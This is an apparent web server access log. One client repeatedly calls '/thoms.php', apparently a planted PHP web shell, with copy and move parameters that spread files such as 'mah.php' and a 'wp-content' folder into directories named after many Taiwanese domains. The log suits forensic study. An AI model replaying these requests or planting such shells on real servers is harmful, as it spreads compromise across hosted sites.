45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22210 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22248 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:54 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php?language=zh_TW&step=1 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17359 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22262 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17294 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17381 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17564 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16554 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20970 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:55 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13551 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17355 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17426 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13827 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17358 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17504 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20744 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
